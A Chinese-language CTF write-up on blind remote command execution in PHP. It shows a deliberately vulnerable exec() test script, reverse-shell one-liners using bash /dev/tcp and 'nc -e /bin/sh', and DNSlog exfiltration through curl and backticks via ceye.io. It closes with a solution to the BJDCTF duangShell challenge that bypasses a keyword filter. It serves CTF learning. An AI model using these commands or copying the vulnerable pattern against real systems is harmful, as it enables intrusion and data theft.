在ctf中,有时会遇到无回显rce,就是说虽然可以进行命令执行,但却看不到命令执行的结果,也不知道命令是否被执行,借着这次总结rce的机会,就把它一起总结了
测试代码如下:
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
//$b=exec("$a");
//echo $b;
?>
命令执行函数我用的是exec
,因为这个函数本身是没有回显的,拿来做测试简直不能再合适,想了解这个函数可以看这里:https://www.php.net/manual/zh/function.exec.php 这里我们直接输入命令是没有回显的:
我们首先用sleep命令看看命令是否被成功执行了,看下图它转了五秒之后才恢复说明命令是执行了的:
1.反弹shell
遇到这种无回显的命令执行,很常见的一个思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了
一般来讲我们反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1
这条命令,但这里我不知道哪里出了问题,在docker中可以成功反弹但放到php命令执行中就反弹不了了,所以说无奈之下我就只能使用nc
进行反弹,但其实这是很不实用的,因为很多docker中都没有安装nc
,这里就先演示一下用nc
反弹,利用nc -e /bin/sh ip port
进行反弹:
2.dnslog外带数据法
首先讲讲dns,这里用一个比较官方的解释吧,摘自百度百科:
DNS(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping
命令或者curl
命令哈
然后这里推荐一个dnslog的利用平台:ceye http://ceye.io/,我个人觉得挺好用的,当然大佬们也可以选择自己搭,注册账号之后,会给一个域名,当发起的请求中含有这个域名时,平台就会有记录。好了,铺垫结束,下面正式开始测试:
还是这一段代码,我们用分号;
作为命令的分隔符,然后发起curl
请求,然后最后用反引号执行命令,具体如下:
然后就可以到ceye平台上取看到我们发起的请求了,可以看到whoami
的结果也已经在上面显示了出来:
然后我们就尝试执行其它的命令比如像ls
之类的,但这里需要注意的一点是,如果我们直接执行ls
的话,它只会返回第一条结果,具体如下图所示:
那么为了让它显示出剩余的结果,我们就需要用到linux的sed
命令,用sed
命令就可以实现对行的完美划分,这里利用题目不是很好演示,我就直接用kali进行演示,就像下图一样直接用就行,还是很方便的:
这样就可以完成任意的命令执行了,但是值得注意的是,因为有的字符可能会无法显示或者只显示部分信息,所以说执行命令的时候推荐使用base64编码,然后再解开就好:
例题解析——-BJDCTF 2nd duangShell
这道题buuctf上可以复现,先用kali恢复swp文件,然后得到源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
可以看到,这就是一个有过滤情况下的无回显rce,虽然是看起来过滤的比较多,基本思路是反弹shell,但这个靶机在内网操作起来可能有点麻烦,而且像一些重要的比如curl
反引号
都没有被过滤掉,所以说我想尝试直接把数据外带出来,先尝试whoami
发现没问题:
那就说明除了上面那些被禁的函数以外,可以执行任何命令,不过禁了ls是真的烦,然后由于它禁了$
,上篇文章中讲到的找flag的语句cat $(find / -name flag*)
就用不了了,我先盲猜一下它在根目录下名字叫flag,试试行不行,cat
被过滤掉了我就直接用tac
,这个问题不大,发现还真有这个文件:
只不过嘛,这个内容就很狗,还要让自己去找flag,那我就试试用find
去找,说实话这时候我心里也没底,只能说试试,用的这条语句 find / -name flag
:
不过运气是真的好哈哈哈,直接出来了路径,那就稳了啊,直接读它就完事儿了:
出来了出来了,加上{}
就是最终的flag,不过我看wp的时候方法都是用反弹shell做的,不知道我这种算不算非预期解,想了解那种方法的可以自行百度,